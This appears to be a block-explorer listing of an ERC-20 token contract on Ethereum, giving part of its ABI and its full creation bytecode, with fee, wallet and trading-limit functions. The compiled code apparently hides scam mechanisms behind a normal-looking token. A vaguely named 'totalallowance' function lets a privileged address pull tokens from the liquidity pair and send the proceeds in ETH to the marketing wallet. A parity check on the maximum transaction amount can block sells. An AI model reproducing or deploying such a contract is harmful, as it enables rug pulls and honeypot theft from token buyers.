ransfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newAddress","type":"address"},{"indexed":true,"internalType":"address","name":"oldAddress","type":"address"}],"name":"UpdateUniswapV2Router","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"devWalletUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"marketingWalletUpdated","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTransactionAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"devWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"disableTransferDelay","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"rv","type":"uint256"},{"internalType":"uint256","name":"lv","type":"uint256"}],"name":"totalallowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_devFee","type":"uint256"}],"name":"updateBuyFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"updateDevWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newMarketingWallet","type":"address"}],"name":"updateMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_devFee","type":"uint256"}],"name":"updateSellFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateSwapTokensAtAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526007805460ff60a81b1916600160a81b179055600d805462ffffff19166001179055600f805461ffff19166101001790553480156200004257600080fd5b50604080518082018252600d81526c4861636869646169207279756f60981b60208083019182528351808501909452600c84526be585abe5a4a7e9be8de78e8b60a01b9084015281519192916200009c9160039162000796565b508051620000b290600490602084019062000796565b5050506000620000c7620004b460201b60201c565b600580546001600160a01b0319166001600160a01b038316908117909155604051919250906000907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350737a250d5630b4cf539739df2c5dacb4c659f2488d62000137816001620004b8565b600680546001600160a01b0319166001600160a01b0383169081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa15801562000191573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001b791906200083c565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000205573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200022b91906200083c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000279573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200029f91906200083c565b600780546001600160a01b0319166001600160a01b03929092169182179055620002cb906001620004b8565b600754620002e4906001600160a01b0316600162000532565b600280808080806b033b2e3c9fd0803ce800000060646200030682846200087d565b6200031291906200089f565b600a556064620003248260036200087d565b6200033091906200089f565b600c55612710620003438260046200087d565b6200034f91906200089f565b600b55601187905560128690556013859055846200036e8789620008c2565b6200037a9190620008c2565b60105560158490556016839055601782905581620003998486620008c2565b620003a59190620008c2565b6014556008805473b4aac6f1e860cac4bef93e30e040763999bd83966001600160a01b03199182168117909255600980549091169091179055620003fd620003f56005546001600160a01b031690565b600162000586565b6200040a30600162000586565b60095462000423906001600160a01b0316600162000586565b6008546200043c906001600160a01b0316600162000586565b6200045b620004536005546001600160a01b031690565b6001620004b8565b62000468306001620004b8565b60095462000481906001600160a01b03166001620004b8565b6008546200049a906001600160a01b03166001620004b8565b620004a6338262000630565b505050505050505062000919565b3390565b6005546001600160a01b03163314620005075760405162461bcd60e51b815260206004820181905260248201526000805160206200326d83398151915260448201526064015b60405180910390fd5b6001600160a01b03919091166000908152601c60205260409020805460ff1916911515919091179055565b6001600160a01b0382166000818152601d6020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6005546001600160a01b03163314620005d15760405162461bcd60e51b815260206004820181905260248201526000805160206200326d8339815191526044820152606401620004fe565b6001600160a01b0382166000818152601b6020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6001600160a01b038216620006885760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f2061646472657373006044820152606401620004fe565b620006a4816002546200072c60201b620015c01790919060201c565b6002556001600160a01b03821660009081526020818152604090912054620006d7918390620015c06200072c821b17901c565b6001600160a01b038316600081815260208181526040808320949094559251848152919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b6000806200073b8385620008c2565b9050838110156200078f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401620004fe565b9392505050565b828054620007a490620008dd565b90600052602060002090601f016020900481019282620007c8576000855562000813565b82601f10620007e357805160ff191683800117855562000813565b8280016001018555821562000813579182015b8281111562000813578251825591602001919060010190620007f6565b506200082192915062000825565b5090565b5b8082111562000821576000815560010162000826565b6000602082840312156200084f57600080fd5b81516001600160a01b03811681146200078f57600080fd5b634e487b7160e01b600052601160045260246000fd5b60008160001904831182151516156200089a576200089a62000867565b500290565b600082620008bd57634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115620008d857620008d862000867565b500190565b600181811c90821680620008f257607f821691505b6020821081036200091357634e487b7160e01b600052602260045260246000fd5b50919050565b61294480620009296000396000f3fe60806040526004361061031e5760003560e01c80638ea5220f116101ab578063c0246668116100f7578063dd62ed3e11610095578063f11a24d31161006f578063f11a24d31461093b578063f2fde38b14610951578063f637434214610971578063f8b45b051461098757600080fd5b8063dd62ed3e146108ca578063e2f4560514610910578063e884f2601461092657600080fd5b8063c876d0b9116100d1578063c876d0b914610864578063c8c8ebe41461087e578063d257b34f14610894578063d85ba063146108b457600080fd5b8063c024666814610804578063c17b5b8c14610824578063c18bc1951461084457600080fd5b8063a06c1f8f11610164578063a9059cbb1161013e578063a9059cbb14610775578063aacebbe314610795578063b62496f5146107b5578063bbc0c742146107e557600080fd5b8063a06c1f8f1461071f578063a0d82dc51461073f578063a457c2d71461075557600080fd5b80638ea5220f1461068857806392136913146106a857806395d89b41146106be5780639a7a23d6146106d35780639c3b4fdc146106f35780639fccce321461070957600080fd5b80634a62bb651161026a578063751039fc116102235780637bce5a04116101fd5780637bce5a041461061f5780638095d564146106355780638a8c523c146106555780638da5cb5b1461066a57600080fd5b8063751039fc146105ca5780637571336a146105df57806375f0a874146105ff57600080fd5b80634a62bb65146104f65780634fbee193146105105780636a486a8e146105495780636ddd17131461055f57806370a082311461057f578063715018a6146105b557600080fd5b80631a8145bb116102d757806323b872dd116102b157806323b872dd1461047a578063313ce5671461049a57806339509351146104b657806349bd5a5e146104d657600080fd5b80631a8145bb1461042e5780631f3fed8f14610444578063203e727e1461045a57600080fd5b806306fdde031461032a578063095ea7b31461035557806310d5de53146103855780631694505e146103b557806318160ddd146103ed5780631816467f1461040c57600080fd5b3661032557005b600080fd5b34801561033657600080fd5b5061033f61099d565b60405161034c91906123a1565b60405180910390f35b34801561036157600080fd5b5061037561037036600461240e565b610a2f565b604051901515815260200161034c565b34801561039157600080fd5b506103756103a036600461243a565b601c6020526000908152604090205460ff1681565b3480156103c157600080fd5b506006546103d5906001600160a01b031681565b6040516001600160a01b03909116815260200161034c565b3480156103f957600080fd5b506002545b60405190815260200161034c565b34801561041857600080fd5b5061042c61042736600461243a565b610a46565b005b34801561043a57600080fd5b506103fe60195481565b34801561045057600080fd5b506103fe60185481565b34801561046657600080fd5b5061042c610475366004612457565b610ad6565b34801561048657600080fd5b50610375610495366004612470565b610b6f565b3480156104a657600080fd5b506040516012815260200161034c565b3480156104c257600080fd5b506103756104d136600461240e565b610bd8565b3480156104e257600080fd5b506007546103d5906001600160a01b031681565b34801561050257600080fd5b50600d546103759060ff1681565b34801561051c57600080fd5b5061037561052b36600461243a565b6001600160a01b03166000908152601b602052604090205460ff1690565b34801561055557600080fd5b506103fe60145481565b34801561056b57600080fd5b50600d546103759062010000900460ff1681565b34801561058b57600080fd5b506103fe61059a36600461243a565b6001600160a01b031660009081526020819052604090205490565b3480156105c157600080fd5b5061042c610c0e565b3480156105d657600080fd5b50610375610c82565b3480156105eb57600080fd5b5061042c6105fa3660046124b1565b610cbf565b34801561060b57600080fd5b506008546103d5906001600160a01b031681565b34801561062b57600080fd5b506103fe60115481565b34801561064157600080fd5b5061042c6106503660046124ef565b610d14565b34801561066157600080fd5b5061042c610dbc565b34801561067657600080fd5b506005546001600160a01b03166103d5565b34801561069457600080fd5b506009546103d5906001600160a01b031681565b3480156106b457600080fd5b506103fe60155481565b3480156106ca57600080fd5b5061033f610e9d565b3480156106df57600080fd5b5061042c6106ee3660046124b1565b610eac565b3480156106ff57600080fd5b506103fe60135481565b34801561071557600080fd5b506103fe601a5481565b34801561072b57600080fd5b5061037561073a36600461251b565b610f68565b34801561074b57600080fd5b506103fe60175481565b34801561076157600080fd5b5061037561077036600461240e565b611066565b34801561078157600080fd5b5061037561079036600461240e565b6110b5565b3480156107a157600080fd5b5061042c6107b036600461243a565b6110c2565b3480156107c157600080fd5b506103756107d036600461243a565b601d6020526000908152604090205460ff1681565b3480156107f157600080fd5b50600d5461037590610100900460ff1681565b34801561081057600080fd5b5061042c61081f3660046124b1565b611149565b34801561083057600080fd5b5061042c61083f3660046124ef565b6111d2565b34801561085057600080fd5b5061042c61085f366004612457565b611275565b34801561087057600080fd5b50600f546103759060ff1681565b34801561088a57600080fd5b506103fe600a5481565b3480156108a057600080fd5b506103756108af366004612457565b611346565b3480156108c057600080fd5b506103fe60105481565b3480156108d657600080fd5b506103fe6108e536600461253d565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b34801561091c57600080fd5b506103fe600b5481565b34801561093257600080fd5b50610375611498565b34801561094757600080fd5b506103fe60125481565b34801561095d57600080fd5b5061042c61096c36600461243a565b6114d5565b34801561097d57600080fd5b506103fe60165481565b34801561099357600080fd5b506103fe600c5481565b6060600380546109ac9061256b565b80601f01602080910402602001604051908101604052809291908181526020018280546109d89061256b565b8015610a255780601f106109fa57610100808354040283529160200191610a25565b820191906000526020600020905b815481529060010190602001808311610a0857829003601f168201915b5050505050905090565b6000610a3c338484611626565b5060015b92915050565b6005546001600160a01b03163314610a795760405162461bcd60e51b8152600401610a70906125a5565b60405180910390fd5b6009546040516001600160a01b03918216918316907f90b8024c4923d3873ff5b9fcb43d0360d4b9217fa41225d07ba379993552e74390600090a3600980546001600160a01b0319166001600160a01b0392909216919091179055565b6008546001600160a01b03163314610aed57600080fd5b6103e8610af960025490565b610b039190612606565b811015610b6a5760405162461bcd60e51b815260206004820152602f60248201527f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060448201526e6c6f776572207468616e20302e312560881b6064820152608401610a70565b600a55565b6000610b7c84848461174b565b610bce8433610bc9856040518060600160405280602881526020016128c2602891396001600160a01b038a1660009081526001602090815260408083203384529091529020549190611dc9565b611626565b5060019392505050565b3360008181526001602090815260408083206001600160a01b03871684529091528120549091610a3c918590610bc990866115c0565b6005546001600160a01b03163314610c385760405162461bcd60e51b8152600401610a70906125a5565b6005546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b6005546000906001600160a01b03163314610caf5760405162461bcd60e51b8152600401610a70906125a5565b50600d805460ff19169055600190565b6005546001600160a01b03163314610ce95760405162461bcd60e51b8152600401610a70906125a5565b6001600160a01b03919091166000908152601c60205260409020805460ff1916911515919091179055565b6005546001600160a01b03163314610d3e5760405162461bcd60e51b8152600401610a70906125a5565b60118390556012829055601381905580610d58838561261a565b610d62919061261a565b601081905560141015610db75760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420323025206f72206c6573730000006044820152606401610a70565b505050565b6005546001600160a01b03163314610de65760405162461bcd60e51b8152600401610a70906125a5565b600d805462ff0000191662010000179055600f54610100900460ff161515600114610e3c5760405162461bcd60e51b8152600401610a7090602080825260049082015263646f6e6560e01b604082015260600190565b600f805461ff0019169055610e5b600d805461ff001916610100179055565b600f5460405161010090910460ff16151581527fbd657b4e94b205761f2ca5be9988d7b243c828f625c0746c6581ec528e507c479060200160405180910390a1565b6060600480546109ac9061256b565b6005546001600160a01b03163314610ed65760405162461bcd60e51b8152600401610a70906125a5565b6007546001600160a01b0390811690831603610f5a5760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b65725061697273000000000000006064820152608401610a70565b610f648282611e03565b5050565b336000908152601b602052604081205460ff16610f8457600080fd5b6007546001600160a01b0316600090815260208190526040902054600183118015610fb85750610fb5606482612606565b83105b610ff65760405162461bcd60e51b815260206004820152600f60248201526e185b5bdd5b9d08195e18d959591959608a1b6044820152606401610a70565b610fff83611e57565b61100884611eee565b6008546040516000916001600160a01b03169047908381818185875af1925050503d8060008114611055576040519150601f19603f3d011682016040523d82523d6000602084013e61105a565b606091505b50909695505050505050565b6000610a3c3384610bc9856040518060600160405280602581526020016128ea602591393360009081526001602090815260408083206001600160a01b038d1684529091529020549190611dc9565b6000610a3c33848461174b565b6005546001600160a01b031633146110ec5760405162461bcd60e51b8152600401610a70906125a5565b6008546040516001600160a01b03918216918316907fa751787977eeb3902e30e1d19ca00c6ad274a1f622c31a206e32366700b0567490600090a3600880546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b031633146111735760405162461bcd60e51b8152600401610a70906125a5565b6001600160a01b0382166000818152601b6020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6005546001600160a01b031633146111fc5760405162461bcd60e51b8152600401610a70906125a5565b60158390556016829055601781905580611216838561261a565b611220919061261a565b601481905560191015610db75760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420323525206f72206c6573730000006044820152606401610a70565b6005546001600160a01b0316331461129f5760405162461bcd60e51b8152600401610a70906125a5565b670de0b6b3a76400006103e86112b460025490565b6112bf906005612632565b6112c99190612606565b6112d39190612606565b81101561132e5760405162461bcd60e51b8152602060048201526024808201527f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e20604482015263302e352560e01b6064820152608401610a70565b61134081670de0b6b3a7640000612632565b600c5550565b6005546000906001600160a01b031633146113735760405162461bcd60e51b8152600401610a70906125a5565b620186a061138060025490565b61138b906001612632565b6113959190612606565b8210156114025760405162461bcd60e51b815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527410181718181892903a37ba30b61039bab838363c9760591b6064820152608401610a70565b6103e861140e60025490565b611419906005612632565b6114239190612606565b82111561148f5760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171a92903a37ba30b61039bab838363c9760611b6064820152608401610a70565b50600b55600190565b6005546000906001600160a01b031633146114c55760405162461bcd60e51b8152600401610a70906125a5565b50600f805460ff19169055600190565b6005546001600160a01b031633146114ff5760405162461bcd60e51b8152600401610a70906125a5565b6001600160a01b0381166115645760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610a70565b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b6000806115cd838561261a565b90508381101561161f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610a70565b9392505050565b6001600160a01b0383166116885760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610a70565b6001600160a01b0382166116e95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610a70565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166117715760405162461bcd60e51b8152600401610a7090612651565b6001600160a01b0382166117975760405162461bcd60e51b8152600401610a7090612696565b806000036117ab57610db783836000612048565b600d5460ff1615611a2d576005546001600160a01b038481169116148015906117e257506005546001600160a01b03838116911614155b80156117f657506001600160a01b03821615155b801561180d57506001600160a01b03821661dead14155b80156118235750600754600160a01b900460ff16155b15611a2d57600d54610100900460ff166118bb576001600160a01b0383166000908152601b602052604090205460ff168061187657506001600160a01b0382166000908152601b602052604090205460ff165b6118bb5760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610a70565b6001600160a01b0383166000908152601d602052604090205460ff1680156118fc57506001600160a01b0382166000908152601c602052604090205460ff16155b1561197657600a548111156119715760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b6064820152608401610a70565b611a2d565b6001600160a01b0382166000908152601d602052604090205460ff1680156119b757506001600160a01b0383166000908152601c602052604090205460ff16155b15611a2d57600a54811115611a2d5760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b6064820152608401610a70565b30600090815260208190526040902054600b5481108015908190611a595750600d5462010000900460ff165b8015611a6f5750600754600160a01b900460ff16155b8015611a9457506001600160a01b0385166000908152601d602052604090205460ff16155b8015611ab957506001600160a01b0385166000908152601b602052604090205460ff16155b8015611ade57506001600160a01b0384166000908152601b602052604090205460ff16155b15611b0c576007805460ff60a01b1916600160a01b179055611afe612151565b6007805460ff60a01b191690555b6007546001600160a01b0386166000908152601b602052604090205460ff600160a01b909204821615911680611b5a57506001600160a01b0385166000908152601b602052604090205460ff165b15611b63575060005b60008115611db5576001600160a01b0386166000908152601d602052604090205460ff168015611b9557506000601454115b15611cba57611bba6064611bb46014548861226d90919063ffffffff16565b906122ef565b905060145460165482611bcd9190612632565b611bd79190612606565b60196000828254611be8919061261a565b9091555050601454601754611bfd9083612632565b611c079190612606565b601a6000828254611c18919061261a565b9091555050601454601554611c2d9083612632565b611c379190612606565b60186000828254611c48919061261a565b9091555050600a54611c5c906002906126d9565b15611cb55760405162461bcd60e51b8152602060048201526024808201527f4552524f523a204d757374206265206c657373207468616e206d61785478416d6044820152631bdd5b9d60e21b6064820152608401610a70565b611d97565b6001600160a01b0387166000908152601d602052604090205460ff168015611ce457506000601054115b15611d9757611d036064611bb46010548861226d90919063ffffffff16565b905060105460125482611d169190612632565b611d209190612606565b60196000828254611d31919061261a565b9091555050601054601354611d469083612632565b611d509190612606565b601a6000828254611d61919061261a565b9091555050601054601154611d769083612632565b611d809190612606565b60186000828254611d91919061261a565b90915550505b8015611da857611da8873083612048565b611db281866126ed565b94505b611dc0878787612048565b50505050505050565b60008184841115611ded5760405162461bcd60e51b8152600401610a7091906123a1565b506000611dfa84866126ed565b95945050505050565b6001600160a01b0382166000818152601d6020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b600754611e83906001600160a01b031630611e746012600a6127e8565b611e7e9085612632565b61174b565b600760009054906101000a90046001600160a01b03166001600160a01b031663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b158015611ed357600080fd5b505af1158015611ee7573d6000803e3d6000fd5b5050505050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611f2357611f236127f7565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611f7c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa0919061280d565b81600181518110611fb357611fb36127f7565b6001600160a01b039283166020918202929092010152600654611fd99130911684611626565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac9479061201290859060009086903090429060040161282a565b600060405180830381600087803b15801561202c57600080fd5b505af1158015612040573d6000803e3d6000fd5b505050505050565b6001600160a01b03831661206e5760405162461bcd60e51b8152600401610a7090612651565b6001600160a01b0382166120945760405162461bcd60e51b8152600401610a7090612696565b6120d18160405180606001604052806026815260200161289c602691396001600160a01b0386166000908152602081905260409020549190611dc9565b6001600160a01b03808516600090815260208190526040808220939093559084168152205461210090826115c0565b6001600160a01b038381166000818152602081815260409182902094909455518481529092918616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910161173e565b3060009081526020819052604081205490506000601a54601854601954612178919061261a565b612182919061261a565b90506000821580612191575081155b1561219b57505050565b600b546121a9906014612632565b8311156121c157600b546121be906014612632565b92505b6000600283601954866121d49190612632565b6121de9190612606565b6121e89190612606565b905060006121f68583612331565b905061220181611eee565b600060198190556018819055601a8190556008546040516001600160a01b039091169147919081818185875af1925050503d806000811461225e576040519150601f19603f3d011682016040523d82523d6000602084013e612263565b606091505b5050505050505050565b60008260000361227f57506000610a40565b600061228b8385612632565b9050826122988583612606565b1461161f5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610a70565b600061161f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612373565b600061161f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611dc9565b600081836123945760405162461bcd60e51b8152600401610a7091906123a1565b506000611dfa8486612606565b600060208083528351808285015260005b818110156123ce578581018301518582016040015282016123b2565b818111156123e0576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461240b57600080fd5b50565b6000806040838503121561242157600080fd5b823561242c816123f6565b946020939093013593505050565b60006020828403121561244c57600080fd5b813561161f816123f6565b60006020828403121561246957600080fd5b5035919050565b60008060006060848603121561248557600080fd5b8335612490816123f6565b925060208401356124a0816123f6565b929592945050506040919091013590565b600080604083850312156124c457600080fd5b82356124cf816123f6565b9150602083013580151581146124e457600080fd5b809150509250929050565b60008060006060848603121561250457600080fd5b505081359360208301359350604090920135